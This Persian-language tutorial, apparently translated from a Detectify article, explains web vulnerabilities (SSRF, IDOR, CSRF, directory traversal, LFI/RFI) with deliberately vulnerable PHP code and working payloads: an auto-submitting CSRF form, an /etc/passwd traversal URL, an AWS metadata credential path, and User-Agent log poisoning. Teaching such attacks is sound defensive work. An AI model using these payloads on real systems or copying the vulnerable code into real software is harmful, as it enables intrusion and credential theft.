در سال 2022 چگونه به تامین امنیت وب اپلیکیشن ها می توانیم کمک کنیم؟

در سال 2022 چگونه به تامین امنیت وب اپلیکیشن ها می توانیم کمک کنیم؟

مقدمه: در وب اپلیکیشن ها بخش های احراز هویت (Authentication) و مجوزها (Authorization) از بخش های کلیدی این اپلیکیشن ها هستند و اگر مورد حمله قرار بگیرند، امکان به خطر افتادن اطلاعات حیاتی و حساس بسیار زیاد است.با وجود تهدیداتی مثل SSRF، آسیب‌پذیری‌های منطقی کسب و کار، CSRFها و پیمایش های دایرکتوری و … برای تیم های امنیتی مهم است، چرا که باید همیشه جلوتر از همه حکت کنند و همیشه در بالای منحنی امنیت قرار بگیرند. دراین مقاله “ Hakluke” به توصیف جزئیات نحوه تامین امنیت وب اپلیکیشن ها قبل از نفوذمتجاوزان پرداخته است.

جعل سند درخواست سمت سرور (Server-Side Request Forgery (SSRF))

آسیب پذیری SSRF زمانی اتفاق می‌افتد که یک متجاوز قادر به کنترل (حداقل قسمتی از) URL یک درخواست باشد که در سرور سرور ساخته شده است. میزان شدت و سختی آسیب پذیری های SSRF بسته به تعداد عوامل دخیل درآن متفاوت است:

  • چه تعداد از پاسخ ها از طرف متجاوز قابل مشاهده است
  • کدام هاست های داخلی قابل دسترسسی هستند
  • میزان حساسیت اطلاعاتی که از این طریق بدست می‌آیند چقدر است؟

مثالی برای SSRF

فرض کنیم که ما یک اپلیکیشن در زبان PHP داریم که به شما اجازه می‌دهد تا برای خودتان تصویر پروفایل مشخص کنید. به جای اینکه تصویر را مستقیما آپلود کنید، می توانید با فراهم کردن یک URL اینکار را انجام دهید.  در ادامه سرور این URL را واکشی می کند و پاسخ دریافت شده را به عنوان تصویر پروفایل شما استفاده می‌کند. قطعه کد پشت پرده این عمل چیزی شبیه این خواهد بود:

<?php

$url = $_GET['pfpurl'];

$pfp = file_get_contents($url);

header("content-type: image/png");

print $pfp;

?>

این قطعه کد پارامتر GET که pfpurl خوانده می شود را قبول می‌کند. اپلیکیشن منتظر مقدار این پارامتر به صورت یک URL که به تصویر پروفایل اشاره می‌کند، است. به محض اینکه URL را دریافت می‌کند، بااستفاده از تابع file_get_contents () آن را واکشی می‌کند، و فورا پاسخ را به سمت کاربر روانه می‌کند. مساله مهم و قابل توجه این است که سرور درخواست را برای گرفتن تصویر می‌سازد، نه مرورگر.

بیایید این مورد را باهم امتحان کنیم. من این اسکریپت را روی ماشین محلی خودم روی پورت 5001 قرار دادم. URL که در ادامه قرار داده‌ام را وارد کردم- توجه کنید که مقدار phpurl تصویری است که روی وب سایت Detectify قرار گرفته است.

http://localhost:5001/ssrf.php?pfpurl=https://detectify.com/assets/images/icons/detectify-security-teams.png

همانطور که انتظار میرفت، تصویر بارگذاری شد:

بارگزاری تصویر در وب اپلیکیشن

بااینکه اپلیکیشن منتظر یک تصویر است، اما  URL  هم قابل دسترس است. برای مثال، دسترسی به یک نمونه در Burp collaborator را امتحان می‌کنیم:

Burp collaborator

اینگونه به نظرمی‌رسد که تصویر بارگذاری نشده است، اما اگر روی آن راست کلیک کنیم و تصویر را ذخیره کنیم:

ذخیره تصویر در وب اپلیکیشن

بعدا می توانیم این تصویر را داخل ترمینال هم بااستفاده از دستور cat برای نشان دادن پاسخ صحیح از سمت سرور، مشاهده کنیم :

وب اپلیکیشن SSRF

یا، راحت تر از آن، می توانیم از دستور curl برای نمایش مستقیم پاسخ‌ها استفاده کنیم:

SSRF

مساله دیگری که وجود دارد این است که، درخواست هایی که من می توانم از وب سرور بدست بیاورم تنها محدود به هاست های internet-facing نیستند. من میتوانم به هر سروری که اپلیکیشن آسیب پذیر به آن دسترسی دارد درخواست بفرستم، که شامل سرورهایی که داخل شبکه داخلی یکسان هستند هم می‌شود. برای مثال، من از هر روتری می‌توانم به پاسخ HTTP دسترسی داشته باشم:

SSRF

اغلب مواردی وجود دارد که درآن اپلیکیشن روی یک شبکه داخلی قرار گرفته است که با سایر اپلیکیشن های حساس که فقط برای دسترسی کارکنان داخلی ساخته شده‌اند به اشتراک گذاشته شده است. ممکن است از این نوع SSRF سواستفاده کرد و به شبکه داخلی نفوذ کرد وبااستفاده از آسیب پذیری SSRF به‌عنوان پروکسی، به این اپلیکیشن ها دسترسی پیدا کرد.

SSRF

اندپوینت‌های ابرداده ابری (Cloud Metadata Endpoints)

اگر فرد دقیق و هوشیاری باشید، شاید تا الان متوجه شده‌اید که یکی از باکس‌های نمودار بالا “اَبَر داده ابری” بود. برخی از ارائه‌دهندگان فضای ابری اندپوینت های ابرداده API دارند که از سمت نمونه های ابری قابل دسترسی هستند، برای مثال AWS metadata endpoint  روی http://169.254.159.254 قرار گرفته است.

با استفاده از یک SSRF مثل اینمورد، شما قادر هستید به اندپوینت ابرداده AWS دسترسی داشته باشید. برای مثال، دسترسی داشتن به http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/ ممکن است آیتم های ورودی (Credentials) AWS را آشکار کند که با استفاده از آنها اجازه فراخوانی AWS API درنقش IAM را خواهیم داشت.

آسیب‌پذیری‌های منطقی کسب و کار (Business Logic Vulnerabilities)

آسیب پذیری‌های منطقی کسب و کار یکی از رایج ترین انواع آسیب پذیری‌ها هستند که در دنیای امنیت سایبری به چشم می‌خورند. و متاسفانه بالطبع یکی از سخت ترین انواع آسیب پذیری های قابل تعریف هستند. درکل، آسیب پذیری منطقی کسب و کار نوعی از آسیب پذیری است که به شخص متجاوز اجازه می‌دهد تا از اپلیکیشن سواستفاده کند و کارهایی را با آن انجام دهد که در مواقع معمولی انجام این کارها برای کابران اپلیکیشن توسط آن کسب و کار محدود شده است.

مثال:

  • گذشتن از سد تایید و احراز هویت در قسمت ورود کاربر، با انتقال مستقیم به URL داشبورد (پیشخوان).
  • دستکاری قیمت کالاها یا اشیاء مورد هدف با بررسی سایت های e-Commerce برای خرید رایگان اقلام.
  • گذر از محدوده تراکنش روزانه در اپلیکیشن های بانکی.

کشف آسیب پذیری‌های منطقی کسب و کار

ارائه یک راهنمای کلی برای کشف این آسیب پذیری ها کار راحتی نیست، چراکه این آسیب پذیری ها به اهداف کسب و کار از استفاده از اپلیکیشن بستگی دارد. اما به عنوان یک جریان کار کلی، فرد متجاوز بایستی :

  1. برای درک کامل اهداف و محدودیت های نرم افزار، اپلیکیشن را به صورت کامل و جامع بررسی و از آن استفاده کنید.
  2. بررسی کنید تا ببینید که با توجه به نیازمندی های کسب و کار چه محدودیت هایی باید اعمال شوند.
  3. تلاش کنید تا از این محدودیت ها برعلیه کسب و کار استفاده کنید و از آنها عبور کنید.

ارجاع اشیاء مستقیم ناایمن (Insecure Direct Object References  (IDORs) )

ارجاع اشیا مستقیم ناایمن زیرمجموعه مشکلات احراز هویتی است، که به متجاوز این امکان را می دهد تا به اطلاعات یا توابعی که در حالت عادی محدود هستند دسترسی داشته باشند.  این کار به صورت ارجاع مستقیم بااستفاده از ID همان تابع و اطلاعات انجام می‌شود.

برای مثال، مثلا فرض کنید که یک وب اپلیکیشن داریم که به صورت خودکار برای کسب و کار صورتحساب تولید می‌کند. درحالت ایده‌آل، کاربر فقط به صورت‌حساب‌های که توسط خودش ایجاد شده می‌تواند دسترسی داشته باشد، و نمیتواند صورت‌حساب‌های ایجاد شده توسط سایر کاربرها را مشاهده کند.

نمایش جزئیات یک صورت‌حساب به راحتی دسترسی به این صورت‌حساب است:

https://example.com/invoices/1234

دراین نمونه، 1234 شماره سند (ID) این صورت‌حساب است. هر زمان که یک صورت‌حساب جدید توسط کاربری ایجاد می‌شود، درکنار آن یک ID جدید ایجاد می‌شود. صورت‌حساب قبلی که قبلا ایجاد شده بود داخل  https://example.com/invoices/1233 قرار گرفته است، و صورت حساب قبل آن داخل https://example.com/invoices/1232. قرار گرفته است. امیدوارم منظورم رو فهمیده باشید. البته، اگر شما به‌عنوان یک کاربر سعی کنید که به یکی از این صورت حساب ها دسترسی پیدا کنید، اما این صورت‌حساب متعلق به کاربر دیگریست، و شما نباید بتوانید به آن دسترسی پیدا کنید. پس ترجیحا باید با خطای 403 یا یک چنین پیام خطایی مواجه شوید.

آسیب‌پذیری زمانی رخ می‌دهد که یک متجاوز بتواند به راحتی این اعداد را عوض کند و صورت حساب سایر کاربرها را نمایش دهد.

مشکلات احراز هویت

احراز هویت فرایندی برای تشخیص “چه کسی” بودن کاربر است. هرمشکلی که دراین قسمت وجود داشته باشد، ممکن است باعث شود تا وب اپلیکیشن هویت کاربرها را درست متوجه نشود و فکر کند که یک کاربر، کاربر دیگریست. این مشکل پیامدهای امنیتی جدی زیادی می‌تواند داشته باشد!

مشکلات احراز هویتی به شکل های مخنلفی می‌تواند رخ دهد، اما همه آنها درکل باعث تضعیف یا دورزدن کامل فرایند احراز هویت می‌شود. نمونه‌هایی برای مشکلات احراز هویت در ادامه می‌بینیم:

کلمات عبور قابل Brute-Force

دراین نمونه، متجاوزنام کاربری کاربر طعمه را وارد می‌کند و سپس صدهابار، هزاران بار یا حتی میلیونها بار تلاش می‌کند به امید اینکه از بین کلمات عبور امتحان شده، کلمه عبور درست را پیدا کند. این کار داخل اتومیشن آرشیو شده‌است.

نام‌های کاربری قابل Brute-Force

در این نمونه، عملکرد قسمتی از اپلیکیشن (مثلا فرایند فراموشی کلمه عبور) ممکن است درزمانهایی مثل وارد کردن یک نام کاربری معتبر در مقابل نام کاربری‌ای در سیستم وجود ندارد، پاسخ های متفاوتی ارسال کنند. دراین مورد، ممکن است برای بدست آمدن لیستی از نام های کاربری معتبر برای حملات بعدی، مثل Brute-Force کردن کلمات عبور، تعداد زیادی نام‌ کاربری به سمت سرور ارسال شود.

مشکلات همراه پیاده سازی احراز هویت چندعاملی

مورد دیگری باعث تضعیف امنیت فرایند احراز هویت می‌شود، ضعف در پیاده سازی MFA (Multi-Factor Authentication) است. برای مثال، ممکن است توکن MFA قابل Brute-Force شدن باشد یا طی مرور تحمیلی (Forced Browsing) کاملا دور زده می‌شود.

سایر مکانیزم های احراز هویت

اغلب ممکن است با مکانیزهای مختلفی از احراز هویت روبه رو شوید که از روش سنتی نام‌کاربری/ کلمه‌عبور استفاده نکنند. یکی از رایج ترین جایگزین ها OAuth2 است، که دراین روش از یک ارائه دهنده سند هویتی معتبر (IDP) مثل فیس بوک، گیت‌هاب یا تویتر برای احراز هویت کاربر استفاده می‌شود. دراین نمونه ، دسترسی به حساب کاربری IDP شخص سوم ملزم به تایید هویت است. جریان‌های OAuth2 بسیار پیچیده هستند، و ازاین‌رو اغلب به روش‌هایی پیاده‌سازی می‌شوند که معرف آسیب‌پذیری‌های امنیتی درجریان احراز هویت قرار می‌شوند.

(Cross-Site Request Forgery (CSRF

 

آسیب‌پذیری CSRF زمانی رخ می‌دهد که درخواست GET یا POST از یک سایت کاملا مجزا قابل ساختن باشد، که باعث عمل تغییر وضعیت می‌شود. برای مثال، یک تابع داریم که به کاربر اجازه می‌دهد تا کلمه عبور خود را به صورت زیر، به روزرسانی کند:

<h1>Enter new password</h1>

<form method="POST">

    <input type="password" name="newpass">

    <input type="submit">

</form>

<?php

if (isset($_POST['newpass'])) {

    $currentuser->set_password($_POST['newpass']);

    print("Password update successful.");

}

?>

خود اپلیکیشن هم چیزی شبیه به شکل زیر است:

CSRF

دراین نمونه، پارامتر “newpass” روی درخواست POST به عنوان کلمه عبور جدید کاربر پذیرفته می‌شود، و مثلا پیام زیر نمایش داده می‌شود:

وب اپلیکیشن CSRF

مشکل اینجاست که می توانیم قطعه کد زیر را روی هر وبسایتی، مثلا hakluke.com پست کنیم:

<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://localhost:5001/csrf.php" method="POST">

      <input type="hidden" name="newpass" value="hacked" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      document.forms[0].submit();

    </script>

  </body>

</html>

دراین نمونه، اگر به سایت hakluke.com سرزده باشید، به اپلیکیشن آسیب‌پذیر یک درخواست POST ارسال شده، و بدون اینکه کاربر اطلاعی داشته باشد، وضعیت کاربر طعمه از همه جا بی‌خبر را به “Hacked” تغییر داده اید.

بهترین راه برای کاهش خطر این نوع آسیب‌پذیری‌ها پیاده سازی توکن های CSRF است.

پیمایش دایرکتوری (Directory Traversal)

آسیب‌پذیری پیمایش دایرکتوری زمانی رخ می‌دهد که متجاوز به راحتی با ایجاد یک مسیر قادر به خواندن فایل‌های قراردادی در سمت سرور باشد. برای مثال، فرض کنیم که یک اپلیکیشن داریم که عکس پروفایل کاربرها را از دیسک محلی واکشی می‌کند، و در وب سایت چاپ می‌کند. کد این عمل چیزی شبیه به قطعه کد زیر است:

<?php

$pfp = file_get_contents("./images/" . $_GET['image']);

header("content-type: image/png");

print($pfp);

?>

اگر از آن به صورت قانونی استفاده کنیم، نتایجی مشابه نتایج زیر بدست می‌آوریم:

وب اپلیکیشن Directory Traversal

ولیکن اگر URL زیر را درخواست کنیم، چه اتفاقی می‌افتد؟

http://localhost:5001/directorytraversal.php?image=./../../../../../../../../../../../etc/passwd

دراین نمونه، اپلیکیشن به مسیر زیر دسترسی پیدا می‌کند:

/var/www/html/images/./../../../../../../../../../../../etc/passwd

که نتیجه زیر بدست می‌آید:

/etc/passwd

نتیجه کارهایی که انجام دادیم این شد! من کل فایل /etc/passwd را اینجا نمایش ندادم، چون متعلق به کامپیوتر شخصی من بود.

وب اپلیکیشن Directory Traversal

File Inclusion (LFI/RFI)

آسیب‌پذیری File Inclusion و پیمایش دایرکتوری گاها حتی برای افراد حرفه ای هم می‎‌توانند گیج کننده باشند. آسیب‌پذیری File inclusion  دربرگیرنده یک فایل به عنوان کد سمت سرور است، درحالیکه آسیب پذیری پیمایش دایرکتوری به شما اجازه می‌دهد تا به راحتی فایل های سمت سرور را بخوانید، ولیکن هیچ کدام به عنوان قطعه کد با سرور ارتباط برقرار نمی‌کنند.

آسیب‌پذیری‌های File Inclusion معمولا دریکی از دسته بندی های محلی (local ) یا راه دور(remote) قرار می‌گیرند. محل قرارگیری فایلی که ممکن است آسیب‌پذیری داخل آن باشد، تعیین کننده نوع دسته بندی آن خواهد بود. آسیب‌پذیری File Inclusion محلی فقط به فایل‌های محلی اجازه گنجانده شدن می‌دهد، این در حالیست که File Inclusion  راه‌دور به شما اجازه می‌دهد تا فایل راه دور را شناسایی کنید (ممکن است روی هاست وب سایت خودتان قرار گرفته باشد).

Local File Inclusion  (LFI)

به‌عنوان مثال برای LFI، اجازه دهید تا به روشی که درآن امکان دارد توسعه دهنده یک روتر بیسیک را برای پیاده سازی انتخاب کند:

<?php

include(“./pages/” . $_GET[‘page’]);

?>

داخل صفحات، ما 3 فایل مختلف داریم: about.php، home.php و contact.php. تنها با اضافه کردن نام هر یک از این فایل ها به پارامتر صفحه، می توان به آن دسترسی پیدا کرد، برای مثال:

http://localhost:5001/?page=about.php

وب اپلیکشن LFI

از این روش با قرار دادن پارامتر صفحه روی ./../../../../../../../etc/passwd  می توانیم برای پیمایش دایرکتوری هم استفاده کنیم، ولیکن آسیب‌پذیری LFI عموما خطرناک تر و جدی‌تر است، چراکه،  اگر ما بتوانیم به هرصورتی یک قطعه کد PHP دلخواه را به یک فایل در وب سرور تزریق کنیم، می‌توانیم به هدف اجرای کد در سرور برسیم! اگر بتوانیم قطعه کد PHP را داخل یک فایل تزریق کنیم چه می‌شود؟! اگر هدف فایل های log باشدچه اتفاقی میتواند بیفتد؟!

همانطور که می‌بینید، اغلب ورودی‌های کاربر داخل فایل‌های لاگ فرستاده می‌شوند، اگر این ورودی کاربر یک قطعه کد PHP باشد، از این طریق می‌توانیم کد PHP را داخل فایل لاگ تزریق کنیم، سپس با استفاده از LFI فایل لاگ را لود کنیم و از این طریق کد PHP رااجرا کنیم. برای نمایش نتیجه، اجازه دهید تا چند لاگینگ به اپلیکیشن اضافه کنیم:

<?php

// log ip and user agent

$userAgent = $_SERVER['HTTP_USER_AGENT'];

$ip = $_SERVER['REMOTE_ADDR'];

file_put_contents("/tmp/log.txt", $ip . " " . $userAgent, FILE_APPEND);

// router

include("./pages/" . $_GET['page']);

?>

کد بالا به آسانی IP آدرس کاربر و عامل کاربر (User Agent) را داخل فایل لاگ که /tmp/log.txt است، جاسازی کند، و سپس بااستفاده از روتر مثال قبلی به کار خود ادامه دهد. اکنون، بیایید تا این حمله را در عمل نیز مشاهده کنیم! ابتدا بااستفاده از curl فایل PHP را درخواست می‌کنیم، و سپس User Agent را با یک کد PHP عوض می‌کنیم.

curl http://localhost:5001/lfi.php?page=about.php -H “User-Agent: <?php phpinfo() ?>”

اکنون اگر به فایل لاگ نگاهی بیندازیم، مشاهده می‌کنیم قطعه کد PHP  را داخل آن قرار گرفته است!

~$ cat /tmp/log.txt
::1 <?php phpinfo() ?>

اکنون برای اینکه این لاگ فایل را در اپلیکیشن دست بگیریم، از LFI می‌توانیم استفاده کنیم، که درنتیجه کد PHP مدنظر ما دراین میان اجرا خواهد شد!

وب اپلیکشن آسیب پذیری LFI

Remote File Inclusion (RFI)

آسیب‌پذیری Remote File Inclusion هم تاثیر مشابهی دارد، ولیکن راحت تر از LFI قابل بهره برداری است، چراکه دراین روش شما به جای پرداختن به فایل‌های داخلی، صرفا به فایل های راه دور باید بپردازید. این به این معنی است که می توانید فایل ها روی هاست یک وب سایت خارجی قرار دهید و به‌جای یافتن راهی برای تزریق کد منتخب تان به داخل لاگ ها، مستقیما داخل وب اپلیکیشنی که در حال حمله به آن هستید مثل یک کد سمت سرور روی آن ها کار کنید.

آسیب‌پذیری‌های RFI امروزه به‌خاطر اینکه پیکربندی پیشفرض PHP به منابع راه دور اجازه نمی دهد تا به عنوان فایل های قابل تحصیل رفتار کنند، در PHP بسیار نادر هستند. برای داشتن یک سرور اسیب‌پذیر، تنظیمات PHP بایستی به صورت زیر تنظیم شده‌باشند:

allow_url_include = On

سپس به راحتی می‌توانیم کد PHP خودمان را روی یک فایل txt راه دور قرار دهیم. برای توضیح بیشتر این مثال، من آن را داخل کامپیوتر خودم، روی یک پورت متفاوت قرار دادم که بااستفاده از http://localhost:5002/test.txt قابل دسترسی است. دراین فایل من یک <?php phpinfo() ?> دارم.

به محض اینکه همه چیز سرجای خود قرار گرفت، به راحتی می توانیم به http://localhost:5001/rfi.php?page=http://localhost:5002/test.txt منتقل شویم، و کدی که با موفقیت اجرا شده است را مشاهده کنیم!

وب اپلیکیشن آسیب پذیری RFI-PHP

منبع

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *